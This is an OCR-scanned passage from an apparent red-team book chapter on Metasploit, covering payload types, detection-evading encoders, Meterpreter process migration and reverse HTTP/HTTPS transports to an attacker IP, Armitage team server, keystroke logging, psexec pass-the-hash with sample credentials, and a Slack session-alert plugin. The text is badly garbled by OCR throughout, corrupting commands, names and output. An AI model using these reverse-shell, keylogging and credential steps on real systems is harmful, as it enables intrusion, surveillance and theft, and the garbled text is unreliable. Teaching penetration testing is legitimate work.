Stagers: This sets up a connection between the two systems, and then
stages are downloaded by them to the victim's machine.

Stages: These can be considered as a component of a payload, which
provides different features and does not need to have a size limit. An
example of this is Meterpreter.

As well as these, the other types of payloads are as follows:

Inline (non-staged): This is a single exploit containing the full shellcode to
perform a specific task.

Stager: This works along with stage payloads to perform a specific task.
The stager establishes a communication channel between the attacker and
the victim and sends a stage payload to execute on the remote host.
Meterpreter: This operates through DLL injection, is loaded in the
memory, and leaves no traces on HDD.

PassiveX: This uses ActiveX control to create a hidden instance of Internet
Explorer. Using this, it communicates with the attacker via HTTP requests
and responses.

NoNX: This is used to bypass DEP protection.

Ord: These are extremely small sized payloads that work on all versions of
Windows. However, they are unstable and rely on ws2_32.d11 to be loaded in
the exploitation process.

IPv6: This is built to work on IPv6 hosts.

Reflective DLL injection: This was created by Stephen Fewer, and is a
technique that consists of a stage payload being injected into a
compromised host process running in-memory and never touching the host
hard drive.



To view a complete list of payloads, we can use the show payloads command:

msf > show payloads

Payloads
Name Disclosure Date Rank Description
aix/ppc/shell_bind_tcp normal AIX Command Shell, Bind TCP Inline
aix/ppc/shell_find_port normal AIX Command Shell, Find Port Inline
aix/ppc/shell_interact normal AIX execve Shell for inetd
aix/ppc/shell_reverse_tecp normal AIX Command Shell, Reverse TCP Inline
android/meterpreter/reverse_http normal Android Meterpreter, Android Reverse HTTP Stager
android/meterpreter/reverse_https normal Android Meterpreter, Android Reverse HTTPS Stager
android/meterpreter/reverse_tcp normal Android Meterpreter, Android Reverse TCP Stager
android/meterpreter_reverse_http normal Android Meterpreter Shell, Reverse HTTP Inline
android/meterpreter_reverse_https normal Android Meterpreter Shell, Reverse HTTPS Inline
android/meterpreter_reverse_tcp normal Android Meterpreter Shell, Reverse TCP Inline
android/shell/reverse_http normal Command Shell, Android Rewerse HTTP Stager
android/shell/reverse_https normal Command Shell, Android Reverse HTTPS Stager
android/shell/reverse_tcp normal Command Shell, Android Reverse TCP Stager
apple_ios/aarchB4/meterpreter_reverse_http normal Apple_i0S Meterpreter, Rewerse HTTP Inline
apple_ios/aarchBd4/meterpreter_reverse_https normal Apple_i0S Meterpreter, Rewverse HTTPS Inline
apple_ios/aarchBd/meterpreter_reverse_tcp normal Apple_i0S Meterpreter, Rewverse TCP Inline
apple_ios/aarchB4/shell_reverse_tcp normal Apple i0S5 aarch&4 Command Shell, Reverse TCP Inline
bsd/sparc/shell_bind_tecp normal BSD Command Shell, Bind TCP Inline
bsd/sparc/shell_reverse_tcp normal BSD Command Shell, Reverse TCP Inline
bsd/x64/exec normal BSD x64 Execute Command
bsd/x64/shell_bind_ipve_tcp normal BSD x64 Command Shell, Bind TCP Inline (IPv6)
bsd/x64/shell_bind_tcp normal BSD x64 Shell Bind TCP
bsd/x64/shell_bind_tcp_small normal BSD x64 Command Shell, Bind TCP Inline
bsd/x64/shell_reverse_ipv6_tcp normal BSD x64 Command Shell, Rewverse TCP Inline (IPwE)
bsd/x64/shell_reverse_tcp normal BSD x64 Shell Rewverse TCP
bsd/xb4/shell_reverse_tcp_small normal BSD x64 Command Shell, Rewverse TCP Inline
bsd/xBB/exec normal B5D Execute Command
bsd/xBb/metsvc_bind_tcp normal FreeBSD Meterpreter Service, Bind TCP
bsd/xB6/metsvc_reverse_tcp normal FreeBSD Meterpreter Service, Reverse TCP Inline
bsd/xB6/shell/bind_ipvG_tcp normal BSD Command Shell, Bind TCP Stager (IPwG)
bsd/xB6/shell/bind_tcp normal BSD Command Shell, Bind TCP Stager
bsd/xB6/shell/find_tag normal BSD Command Shell, Find Tag Stager
bsd/xB6/shell/reverse_ipvb_tcp normal BSD Command Shell, Reverse TCP Stager (IPvG)

From the preceding command, we can see that we have different kinds of
payloads for all platforms. The most commonly used of these is as follows:
meterpreter/reverse_tcp .

However, in a red-team activity, this payload is not recommended. We will read
more about this in further chapters.
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Encoders

Encoders are used to avoid detection of a payload when it gets delivered to the
target system or application. To view a list of encoders in Metasploit, we can use
the following command: Show encoders

msf = show encoders

Encoders
MName Disclosure Date Rank Description
cmd/Secho good Echo Command Encoder
cmd/Sgeneric_sh manual Generic Shell Variabl
cmd/fifs Low Generic ${IFS} Substit
cmd/perl normal Perl Command Encoder
cmd/powershell_basebd excellent Powershell Basebd Com
cmd/printf_php_mg manual printfi{l) via PHP mag
generic/feicar manual The EICAR Encoder
generic/none normal The "none" Encoder
mipsbe/byte_xori normal Byte X0ORi Encoder
mipsbe/longxor normal X0R Encoder
mipsle/byte_xori normal Byte XORi Encoder
mipsle/longxor normal X0R Encoder
php/basebd great PHP Baseb4 Encoder
ppc/longxor normal PPC LongX0OR Encoder
ppc/longxor_tag normal PPC LongX0DR Encoder
ruby/basebd great Ruby Basebd4 Encoder
sparc/longxor_tag normal SPARC DWORD XOR Encod
x64/xor normal XOR Encoder
xBdzutto_dekiru manual Zutto Dekiru
xBB/Sadd_sub manual Add/Sub Encoder
xBBSalpha_mixed low Alphaz Alphanumeric M
xBBSalpha_upper Low Alphaz Alphanumeric U
xBBSavold_underscore_tolower manual Avoid underscore/tolo

The most well-known encoder is xsé/shikata_ga_nai. This is a polymorphic XOR
additive feedback encoder, which means that it generates a different output every
time. It was the hardest to detect when it first came out, and it is still pretty
handy when used with multiple iterations. However, iterations must be used
carefully and always tested first as they may not work as expected, and after
every iteration the size of the payload increases.

We will also look at some encoders in later chapters.



Meterpreter

Meterpreter can be considered an advanced dynamic payload that uses in-
memory.

The Dynamic Linked Library (DLL) injection stages at runtime. It also
provides a client-side Ruby API that makes it extremely powerful. There are
various advantages of using Meterpreter as a payload. Some of these are as
follows:

e It resides in the memory and nothing is written to the disk.

e No new process is created as it can easily be injected into any other running
processes of the system. However, there's a limitation to it. We can't inject
multiple Meterpreter payloads in the same process.

¢ By default, all communication done by Meterpreter is encrypted.

e New features can be added by uploading the DLL via a client that is loaded
in-memory and initialized.

In this section, we will cover the basics of Meterpreter. Once we get Meterpreter
on a system, the first command to look at is the he1ip command:



meterpreter = help

Core Commands

Command Description

7 Help menu

background Backgrounds the current session

bgkill Kills a background meterpreter script

bglist Lists running background scripts

bgrun Executes a meterpreter script as a background thread
channel Displays information or control active channels
close Closes a channel

disable_unicode_encoding
enable_unicode_encoding

exit Terminate the meterpreter session
get_timeouts Get the current session timeout wvalues

guid Get the session GUID

help Help menu

info Displays information about a Post module

irb Drop into irb scripting mode

load Load one or more meterpreter extensions
machine_id Get the MS5F ID of the machine attached to the session
migrate Migrate the server to another process

pivot Manage pivot listeners

quit Terminate the meterpreter session

read Reads data from a channel

resource Run the commands stored in a file

run Executes a meterpreter script or Post module
sessions Quickly switch to another session
set_timeouts Set the current session timeout wvalues

sleep Force Meterpreter to go quiet, then re-establish session.
transport Change the current transport mechanism

use Deprecated alias for "load"

uuid Get the UUID for the current session

write Writes data to a channel

Disables encoding of unicode strings
Enables encoding of unicode strings

To get the current working directory, we can use the pwd command:
meterpreter > pwd

C:\Windows\system32

meterpreter =

To list all the files in the directory, we use the 1s command:



meterpreter = 1s
Listing: C:\Windows‘\system32

Mode Size Type Last modified MName

ABT 7T Pwx rwx rwx B dir 2B09-B7-14 11:87:46 +B538 B4R0

1BBE6E/ rw—rw—rw— 18288 fil 201B-87-16 B2:33:283 +@530 7JB206FBR-376B-4
1BBE6E/ rw—rw—rw— 18288 fil 2018-87-16 B2:33:23 +@530 7JB206FBR-376B-4
1BBE6E/ rw—rw—rw— 39424 fil 20009-B7-14 B6:54:45 +@8530 ACCTRES.d1ll
188777/ rwxrwxrwx 24064 fil 2009-87-14 B7:@B8:55 +@538 ARP.EXE

188666/ rw—rw—rw— 498712 fil ZPR9-87-14 B7:11:53 +@53@ AUDIOKSE.d11l

1B8B66E/ rw—rw—rw— JEBRERA fil 2B09-B7-14 87:10:88 +B530 ActionCenter.dl
188666/ rWw—rw—rw— 540888 fil 2B09-B7-14 87:10:88 +B530 ActionCenterCPL
1BB66E/ rw—rw—rw— 213584 fil 2B09-B7-14 B7:10:88 +B8530 ActionQueue.dll

188777/ rwxrwxrwx 40448 fil 2BR9-B7-14 B7:RB:55 +B530 AdapterTroubles
1BB66E/ rw—rw—rw— 577024 fil 2009-B7-14 B7:10:00 +0530 AdmTmpl.dll
ABTTT S PwX rwx rwx 4096 dir 2B09-B7-14 BB:5P:11 +8530 AdvancedInstall
1BBE6E/ rw—rw—rw— 53248 fil 2009-87-14 @87:10:081 +8530 AltTab.dll
188666/ rw—rw—rw— 312328 fil 20p0-87-14 B87:10:21 +8530 AppIdPolicyEngi
1BBE6E/ rw—rw—rw— 337892 fil 20009-B7-14 87:10:81 +8530 Apphlpdm.dll
188777/ ruxrwxrwx 35328 fil 2B09-B7-14 B7:PB:55 +@530 AtBroker.exe

1BBE6E/ rw—rw—rw— 440832 fil 2000-@7-14 87:10:84 +08530 AudioEng.dll
1BBE6E/ rw—rw—rw— 2896448 fil 2000-@7-14 B7:10:84 +08530 AudioSes.dll
1BB6EE/ rw—rw—rw— 22BE72 fil 2B09-B7-14 87:10:24 +B530 AuditNativeSnap
1BBE6E/ rw—rw—rw— 75264 fil 2008-B7-14 B7:10:084 +08530 AuditPolicyGPIn

If we want to exploit another system or perform any other action on msfconsole
without killing the current Meterpreter session, we can use the background
command to put the session in the background:

meterpreter > background

[#*] Backgrounding session 2...
msf exploit{windows/smb/ms1l7_ 818 eternalblua) =

To see a list of all the Meterpreter sessions we have, we can use the sessions
command:

msf exploit({windows/smb/ms17_@1@_eternalblue) > sessions

Active sessions

Id Mame Type Information Connection

2 meterpreter x64/windows PT-PCAPT @ PT-PC 192.168.2.16:4444 —> 192.168.2.14:40210 (192.168.2.14)

To interact with a Meterpreter session, we can use sessions -i <id>.

To kill all sessions, we can use sessions -kK.



Similarly, we can use sessions -c <command> t0 execute a command across all

msf exploit{windows/smb/msl7_@18_eternalblue) = sessions -i 2

[*]

sessions; TEterRreter =

Starting interaction with 2...

To list all the running processes on the system, we can use the ps command:

meterpreter = ps

Process List

PID PPID MName

a a [System Process]
4 B System

Z2BB 4 SM55.eXe

308 464 svchost.exe
368 352 C5r55.BXE
428 352 wininit.exe
424 408 C5r55.BXE
464 400 services.exe
472 428 lsass.exe
4B8 480 lsm.exe

SE@ 464 svchost.exe
636 464 VBoxService.exe
696 464 svchost.exe
788 464 svchost.exe
772 408 winlogon.exe
Ble 464 svchost.exe
BBEB 464 svchost.exe
BOBE 464 svchost.exe
1872 464 svchost.exe
1192 454 spoolsv.exe
1228 464 svchost.exe
1356 464 svchost.exe
1548 19BB explorer.exe
1656 464 taskhost.exe
2B44 BBB dwm.exe

2852 154B VBoxTray.exe
2276 464 SearchIndexer.exe
2416 464 wmpnetwk. exe
2628 454 taskhost.exe
2624 454 mcupdate.exe
Z266B 454 svchost.exe
2788 154B ehtray.exe
2736 464 ehsched. exe
2BB4 5B WmiPrvSE.exe

Arch

x64
x64
x64
x64
x64
x64
x64
x64
x64
x64
x64
x64
x64
x64
x64
x64
x64
x64
x64
x64
x64
x64
x64
x64
x64
x64
x64
x64
x64
x64
x64
x64
x64

Session

2EHE2E PP EREEESEEERE2EE0EEREDE 3

User

NT AUTHORITY\SYSTEM
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM

NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM

NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM

NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM

NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\LOCAL SERVICE
PT-PC\PT

PT-PC\PT

PT-PC\PT

PT-PC\PT

NT AUTHORITY\SYSTEM

NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\LOCAL SERVICE
PT-PC\PT

NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM

Now we can view only x86 (32-bit) processes by typing the following command:

ps -A x86



To view only 64-bit processes, we can use this:

|ps -A x64

Using Meterpreter, we can also migrate it to another process using the migrate
command. When this command is run, Meterpreter first gets the PID from the
user to which it has to migrate, and then it checks the architecture of the process
and sepebugprivilege (used to get a handle of the process). Next, it fetches the
payload that will be injected to the process and calls various windows APIs, such
dS openProcess(), VirtualAllocEx(), WriteProcess—Memory/() and CreateRemoteThread(). Once
migration is complete, Meterpreter shuts down the previous thread that had the
initial Meterpreter running. Although it sounds complicated, Meterpreter can do
all of this with the following simple command: migrate <Pid>

meterpreter = migrate 2276

[*] Migrating from 1192 to 2276...

[=] core_migrate: Operation failed: Access is denied.
meterpreter = migrate 2864

[*] Migrating from 1192 to 2Bb4...

[#] Migration completed successfully.

meterpreter =

Meterpreter also introduced transport control with the transport command, which
allows us to change the transport mechanism of a payload without killing the
existing session.

Let's look at how to set up and change the transport of an existing Meterpreter.

To view the options, we can simply type the transport or transport -h command:

meterpreter = transport
Usage: transport =list|change|add|next|prev|remove> [options]

list: list the currently active transports.
add: add a new transport to the transport list.
change: same as add, but changes directly to the added entry.
next: jump to the next transport in the list (no options).
prev: jump to the previous transport in the 1list (no options).
remove: remove an existing, non-active transport.

OPTIONS:


airs-sec
高亮

airs-sec
高亮

airs-sec
高亮


We add transport by using the following command:

meterpreter > transport add -t reverse_http -1 172.27.192.54 -p 1234 -to 560 -rt 3000 -rw 5000

To list the available transports, we can use the following command:

transport list:

meterpreter > transport list
Session Expiry @ 2018-87-10 06:47:39

ID Curr URL Comms T/0 Retry Total Retry Wait

1 https://172.27.192.54:1234/0yaUCySBt-iS35PeyeTGkgC81ZGLkM2GV4csxsVGsqmBAIIzhCPRSF6/ 300 3600 10
* tep://172.27.192.54:29644 300 3600 10

Then we start our exploit handler to whichever transport we want to switch to:
msf exploit( ) = set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf exploit( ) = set lport 1234

Lport => 1234
msf exploit( ) > run
[#] Started HTTPS reverse handler on https://172.27.192.54:1234

Now we simply use the transport next command:

meterpreter > transport next

[#] Changing to next transport

And we will see we received a connection on our handler:

msf exploit( ) = run

Started HTTPS reverse handler on https://172.27.192.54:1234

https://172.27.192.54:1234 handling request from 172.27.182.70; (UUID: vxjldpvc) Attaching orphaned/stageless session...
Meterpreter session 2 opened (172.27.192.54:1234 -> 172.27.102.70:62137) at 2018-87-03 06:57:26 -0400

[
[:
[

<]
]
J

For more information, visit the following link:

https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Transport-Control


https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Transport-Control

Armitage and team server

We are all used to the console of msfconsole, which is extremely powerful as it is.
However, let's make this even more efficient by using Armitage. This is a Java-
based GUI built around Metasploit, which first came out in 2013. Being built on
Java makes it cross-platform.

Armitage comes pre-installed in Kali and can easily be downloaded and
installed. Before we jump into setting up and using these tools, let's get an
understanding of team server and its purpose.

Team server allows us to manage our red-team activity in a single workspace. It
acts as a server that connects and communicates with Metasploit and multiple
Armitage clients can connect to it. This is handy when a team is doing a red-
team activity, as all of the members can have the Armitage client running on
their system and can connect to a single workspace in order to perform the
activity. By default, team server is not supported on Windows unless you have
bash installed. It also does not come with the default macOS DMG file. To run a
team server on a macOS, we can download and install the archived file for Linux
instead of DMG. Since team server is only a bash script and the archived file for
Linux already has it, we can download and run it from there.

After this, we need to set the path of our Metasploit's database.ym1 using the
following command: export MSF_DATABASE_CONFIG=</path/to
/.msf4/database.yml>

We can now run team server by browsing to the directory containing team server
and running the following command: Sudo -E ./teamserver <local IP>
<password>



MacBook-Air:armitage Himanshu% export MSF_DATABASE_CONFIG=/Users/Himanshu/.msfd4/database.yml
MacBook-Air:armitage Himanshu$% sudo -E ./teamserver 192.16B8.2.16 hellogl23

[*1]

Generating X509 certificate and keystore (for S5L)

Warning:

The JKS keystore uses a proprietary format. It is recommended to migrate to PKCS12 which is an
industry standard format using "keytool —-importkeystore —-srckeystore ./armitage.store -destkeys
tore ./armitage.store -deststoretype pkcsl2".

[*]
[#]
[#]
[*]
[*]
[*]

[*1]

[+]

Starting RPC daemon
MSGRPC starting on 127.8.8.1:55554 (N0 S55L):Msg...
MSGRPC backgrounding at Z01B-87-16 B4:12:85 +8530...
sleeping for 28s (to let msfrpcd initialize)
Starting Armitage team server
Use the following connection details to connect your clients:
Host: 1092.16B.2.16
Port: 55553
User: msf
Pass: hello@l23

Fingerprint (check for this string when you connect):
4cB650dBaccd1122cdab7732a0d0%b2e2eeebdfd58
feel free to connect now, Armitage is ready for collaboration

Once team server is up and running, we can run the Armitage client and connect
to our team server using the credentials we set:

& [ ] Connect...
Host 192.168.2.16
Fort 55553

User msf

Pass ********ﬂ

| Connect J | Help |

It will also ask us to set a nickname that will help Armitage users to identify
each other when they connect.

An Armitage window will now open up, giving us the beautiful GUI:



[ NN Armitage Armitage
Armitage View Hosts Attacks Workspaces Help

L [ﬁ’ auxiliary

L [:T]’ exploit q
» [ payload ’
> [ﬁ post

.

_[ Event Log X ]

87/16 04:16:18 *+x himanshu joined
87/16 84:17:51 * himanshu cleared the database
87/16 84:17:55 * himanshu removed 26 hosts

himanshu>

On the left menu, we can view the module browser, which shows a list of all the
exploits, post modules, auxiliaries, and so on. We can either browse each folder
by clicking on it or we can search the desired module in the search bar:



¥ (& auxiliary
¥ [E scanner d
¥ (@ smb ¥
(5 smb_ms17_010
¥ (g exploit
¥ (& windows
¥ [E smb

E| msl7 010 eternalblue

msL7_010

To run a module, we double-click on the module we wish to run. A new window
will open up where we fill in the required details, such as rrosts, rrort, and so on.
This is the same as the show options command in msfconsole:



® @ scanner/smbfsmb_ms17_010
M517-010 SMEB RCE Detection

Uses information disclosure to determine if M517-010 has been patched or not. A
Specifically, it connects to the IPCS tree and attempts a transaction on FID 0. If the [
status returned is "STATUS_INSUFF_SERVER_RESOURCES", the machine does not have

tha BACT T NTN matek I flhn mmachinn ic mmiccine Fha RITT T N1 N makek Fha saadola aaill

Option A | Value
CHECK_ARCH 1
CHECK_DOPU 1
RHOSTS

RPORT 445
SMEDomain

SMEFPass 4

SMEUser

THREADS 24

| Show advanced options

| Launch |

Next, we click Launch and we will see that Armitage automatically calls the
Metasploit API, executes the commands, and runs the exploit for us:



msf > use auxiliary/scanner/smb/smb_ms17_810

msf auxiliary(
RHOSTS => 10.19.1.3
msf auxiliary(
SMEDomain => .

msf auxiliary(
CHECK_ARCH => true
msf auxiliary(
THREADS == 24

msf auxiliary(
CHECK_DOPU => true
msf auxiliary(
RPORT == 445

msf auxiliary(

) = set RHOSTS 10.10.1.3
)} > set SMBDomain .

) = set CHECK_ARCH true
) = set THREADS 24

)} > set CHECK_DOPU true

) > set RPORT 445

) = run =j
[#] Auxiliary module running as background job 18.
[#] Scanned 1 of 1 hosts (100% complete)

The top menu has different options. Let's go through some of them:

&rm =11l View Hosts

MNew Connection

Preferences
Set Target View >
Set Exploit Rank >

SOCKS Proxy...
Listeners >
Scripts...

Close

e New Connection: This allows us to connect to different team servers in

parallel.

e Preferences: We can set display preferences, color, and so on.
e Set Target View: This has two options: Table View or Graph View. These
allow us to view our added hosts in the desired manner.



10.10.1.2

10.10.1.3

10.10.1.8

10.10.1.9

10.10.1.10
10.10.1.11
10.10.1.14
10.10.1.18
10.10.1.19
10.10.1.20
10.10.1.25
10.10.1.30
10.10.1.31
10.10.1.32
10.10.1.33

The Table View looks like this: | ™ 10.10.1.34

L LELEEEE L L L [l

R T T T T T R R = R =)

The Graph View looks something like this:
L

s

19.16.1.338 19.108.1.3 19.18.1.39 19.16.1.252

e Socks Proxy: This allows us to configure a socksa proxy to use our external
tools, such as Nmap on the local network of a compromised server:



. NN SOCKS Proxy
Socks4a Proxy Server

This module provides a socks4a proxy server that uses the builtin Metasploit routing to
relay connections.

& W —

Option 4| Value
S5RVHOST 0.0.0.0
S5RVPORT 1080

|| Show advanced options

Launch

e Listeners: This is used to quickly start a listener on a port, which can either
be Bind or Reverse:

MNew Connection

Preferences
Set Target View >
Set Exploit Rank [ 2

SOCKS Proxy...
Listeners
Scripts...

Bind (connect to)
Reverse (wait for)

Close Set LHOST...

m Hosts Attacks

Console
Event Log

Credentials
Downloads
Jobs

Loot

Script Console

Coming to the View tab, we see this: &eporting >

e Console: This allows us to access msfconsole and run everything from the



command line.

e Event Log: This shows the logs of all the events happening on team server.

e Credentials: This shows us the credentials we extracted during the activity
in one place.

e Downloads: This option allows us to view all the files that were
downloaded from the target machines.

e Jobs: This shows the list of active jobs being performed on team server.

e Loot: This shows us whatever we looted from the target machines,
including domain hashes, SQL hashes, and so on.

e Script Console: This is used to run custom Cortana scripts that can be
downloaded from https://github.com/rsmudge/cortana-scripts. Cortana is a
scripting language for both Armitage and Cobalt Strike. The prebuilt scripts
of Cortana can be loaded using this console and can be run to perform
various tasks, such as automatically running automatic MSF Scans, logging
out a user, auto discovery of new networks, and so on.

e Reporting: This will open up the folders where the logs of Meterpreter
sessions are saved, and we can use it for further reporting processes.

mgttacks Workspa

Import Hosts
Add Hosts...

Mmap 5can >
MS5F Scans...
DNS5 Enumerate

] . Clear Datab
Coming to the Hosts tab, we see this: —

e Import Hosts: This allows us to import hosts from a previous Nmap scan,
TXT, and so on.

¢ Add Hosts: Through this, we can manually enter the IP/subnet and add
hosts to our target list.

e Nmap Scan: This is used to perform an Nmap scan on the added hosts.
Multiple types of Nmap scans can be performed, such as Ping Scan, Intense
Scan, all TCP Ports, Intense Scan UDP, and so on:


https://github.com/rsmudge/cortana-scripts

Intense 5can

Intense 5can + UDP
Intense 5can, all TCP ports
Clear Database Intense Scan, no ping

-l Ping 5can

Quick Scan

scripts X Quick Scan (05 detect)

Comprehensive

MS5F Scans...
DNS Enumerate

e MSF Scans: This will use Metasploit modules, such as port scan and other
auxiliaries based on the output of the port scan. By default, MSF Scans use
the auxiliary/scanner/portscan/tcp module with a default list of ports to
scan. Furthermore, the number of threads is 24 by default, which is a lot
when it comes to scanning a compromised host network. Keep this number
between 5-10; otherwise, there's a huge possibility that your session will
die.

e DNS Enumerate: This module is used to get information about a domain
from the DNS server by performing various DNS queries, such as zone
transfers, reverse lookups, SRV record brute forcing, and other techniques.

e Clear Database: This clears the existing database of the current workspace
being used, thereby deleting all the hosts in the target view and the data
related to it.

Armitage allows a user to perform a lot of actions through the simple click of a
button. This saves time and is more convenient. Once we have a Meterpreter
connection on our hosts we can simply right-click on the compromised host and
we will then see options such as interaction with the Meterpreter, listing
processes, migrating to a different process, browsing a file, and so on, just by
selecting and clicking on the desired option:



5
Meterpreter 2 Access

Interact
Explore
Pivoting
Host ARP 5can...

Kill

Meterpreter 4
Services
Scan

For example, if we want to log keystrokes, we can simply right-click on the host
and go to Access | Explore | Log Keystrokes. This will directly open a new

window where we will configure the module options. By clicking launch, we are
Ithen able to log keystrokes:

T
=

- Meterpreter 2 al Access 101013
Meterpreter 4

Services
SCan

Interact

Erowse Files
Show Processes
Log Keystrokes
Kill SCreenshot
Webcam Shot

Pivoting

Host ARP 5can...

Post Modules

Upon clicking the options, a new window opens, as shown in the following



[ N Log Keystrokes

Windows Capture Keystroke Recorder

This module can be used to capture keystrokes. To capture keystrokes when the
session is running as SYSTEM, the MIGRATE option must be enabled and the
CAPTURE_TYPE option should be set to one of Explorer, Winlogon, or a specific PID.
To capture the keystrokes of the interactive user, the Explorer option should be

- —_—

al e

Option 4 | Value
CAPTURE_TYPE explorer
INTERVAL 5
LOCKSCREEN 0
MIGRATE 1

PID

SESSION

Showkeystrokes

[ | show advanced options

—
screenshot: i

We will now go a step further and explore another exploit usage through
Armitage. To do this, we choose a host that has SMB running (Windows). We
then right-click on the host, at which point we should see a Login menu option.
From here, we choose psexec (psh). This module uses a valid login and password
to execute a payload based on PowerShell. This payload is never written to disk:
o0 @ Pass the Hash .

& | pass

administrator @dministrat0r 10.15.2.125

User administrator
Pass wdministratOr
Domain WORKGROUP

|| Check all credentials

(] Use reverse connection | F— |

Once we the module, we will see that we have a reverse connection on the
machine just by logging in.



Metasploit with slack

In this section, we will learn about a module called sheiixerder. This plugin is
used to monitor all Metasploit/Meterpreter sessions. It was created with a basic
idea in mind: to easily monitor new incoming sessions. In a red-team activity,
this is useful as it can be used to monitor live phishing campaigns or a Rubber
Ducky attack.

This plugin uses session subscriptions to monitor activity and send alerts to
slack. Let's take a look at how to set it up.

We clone shelixerder and copy it to our Metasploit p1ugins directory using the
following commands. In our case, we saved the file as notify.rb in the destination
folder:

git clone https://github.com/chrismaddalena/ShellHerder.git
cp ShellHerder/ShellHerder.rb /opt/metasploit-framework/embedded/framework/plugins/noti

We will then register an account on https://slack.conm.

At this point, we choose Create a new workspace and follow the instructions:

https://slack.com/get-started#create
®% Hack The Planet - I.. J 97K Men's Stand U... [1 abxx [ & Hack Forums (=) Kaotic Creations techorganic B gOtmitk: [ Tenable Nessus Vul.

Create a new workspace

To make a workspace from scratch, please confirm your email
address.

har ample.com Confirm

Once the account is ready and we are logged in, we should be taken to a web


https://slack.com

page which will look something like this:

- & | @ Secure | https//bugsbountyworkspace.slack.com/messages/DCHHGKTRC/ 1}| N : ]

i apps [G] Indexof /static/book  wn How to implement k

Slack needs your permission to enable desktop notifications. x
BugsBounty slackbot ® & | Q Search ‘ @ ¢ !

i active | slackbot

| changed my mind. Take the tutorial.

- Today - NEW MEesSages -

slackbot 4:31 2
If you're not sure how to do something in Slack, just type your question below.

Invite People

Or press these buttons to learn about the following topics:

Your profile photo Emoji reactions Reminders

From the left-side menu in the Channels tab, we add a channel, as shown in the
following screenshot:



/. teamserver | BugsBounty X \\_"'\.

— (& | 8 Secure | httpsy//bugsbountyworkspace.slack.com/messages/GCGTFD3QS/ O 0

it Apps [B] Indexof /static/book  wn How to implement &

Slack needs your permission to enable desktop notifications. X

ateamserver O & ‘Q —— ‘ @ & ¢

¥ | 81| & Add a topic

a teamserver

You created this private channel today. This is the very beginning of the
& teamserver channel. Purpose: test (edit)

& teamserver + Add anapp 2 Invite others to this private channel

Today

n Himanshu 4:32 aM
joined teamserver.
Invite People n Himanshu 4:33 AM

set the channel purpose: test

shellerder Telies on slack's incoming Webhooks to send real-time alerts from
Metasploit. So, as shown in the following screenshot, we now choose Add an
application in the channel we created.



._f" . teamserver | BugsBounty X ) 4% Add Apps to Slack | App: X "\.'\ |

C | @ Secure | https//bugsbountyworkspace slack.com/apns w O

|

i Apps [ Index of fstatic/book  wen How to implement &

p 5|3Ck Browse Manage  Build ' BugsBounty ¥

SEME Pida [ Q incoming webhook| ]
Featured
Eessitail AbiE 5'\ Incoming WebHooks
i (}\"a Send data into Slack in real-time.
New & Noteworthy
Brilliant Bots ik
B ruda sk
#  Aiach bo e
App Collections @ tach topu et o
More message actions... é
Actions a
’ Turn your conversations into action
Categories
Create a task, comment, or follow-up from any Slack message with
Bots actions Learn more

At this point, we search for an incoming Webhook app and add it. We will be
redirected to the next page to configure the app. Here, we choose the channel
name where we want the alerts to be posted:



= (&) | & Secure | https:;//bugsbountyworkspace.slack.com/apps/new/A0FTXDUAZ-incoming-webhooks 1}| O 0

=5 Apps E Index of /static/book  wth How to implement &

x:- SIaCk Browse Manage Build ' BugsBounty w

L5 TWEVE R IS IS ST S LI 1T .

Check out our Getting Started guide to familiarize yourself with the most common types of integrations,
and tips to keep in mind while building your own. You can also register as a developer to let us know
what you're working on, and to receive future updates to our APls.

Post to Channel

Start by choosing a channel

teamserver - ‘

where your Incoming Webhook

will post messages to. or create a new channel

Add Incoming WebHooks integration

By creating an incoming webhook, you agree to the Slack APl Terms
of Service.

Once we click on Add Incoming WebHooks integration, we will be taken to the
next page where we will see the generated URL of our Webhook. We will copy
this for later use and save the settings:



o~ C | & Secure https://bugsbountyworkspace.slack.com/services/BCGOYUA927added=1 i

i Apps Index of /static/bock  we How to implement b

x,'. SIaCk App Directory Q Search App Directory Browse  Manage  Build )‘ BugsBounty ¥

Integration Settings

Post to Channel

Messages that are sent to the incoming
webhook will be posted here.

Tteamserver v

or create a new channel

Webhook URL

Send your JSON payloads to this URL. | hitps:/hooks.slack.com/services/ TCH8JQGUX/BCGOYUA92/6LBcG5FTm8HE0Y |
Show setup instructions

Copy URL » Regenerate

Descriptive Label

Use this label to provide extra context I-_ “tional description of this integratior

in your list of integrations (optional).

Customize Name

Choose the username that this incoming-webhook

integration will post as.

Now we connect to our team server and load the plugin from the console, as
follows:

msf > load notify

[#] Successfully loaded plugin: notify

To configure the plugin, we run the he1p command:




msf > help

notify Commands

Command Description

not1ify_help Displays help

notify save Save Settings to YAML File /root/.msfd/Notify.yaml.
notify set source  Set source for identifying the souce of the message.
notify set_user Set Slack username for messages.

notify_set webhook Sets Slack Webhook URL.

notify_show_options Shows currently set parameters.

notify start Start Notify Plugin after saving settings.

notify stop Stop monitoring for new sessions.

notify test Send test message to make sure confoguration 1s working.

We set the options and save the configuration using notify_save:

msf > notify_show_optilons

{*] Parameters:

[+] Webhook URL: https://hooks.slack.com/services/TCH8JQGUX/BCGOYUA92/6L
[+] Slack User:

[+] Source:

msf > notify_set_user @himanshu

[#] Setting the Slack handle to @himanshu
msf > notify_save

[#] Saving options to config file

Running the notify_test command will show us a message on slack, as shown in
the following screenshot:



Is

a teamserver

You created this private channel today. This is the very beginning of the & teamserver channel. Purpose:
test (edit)

+ Addanapp 2 Invite others to this private channel
Today
u Himanshu 432 4
joined teamserver,
u Himanshu 433 am
set the channel purpose: test

u Himanshu 2:42 am
added an integration to this channel; incoming-webhook
NEW MESSARES
incoming-webhook AP7 524 An

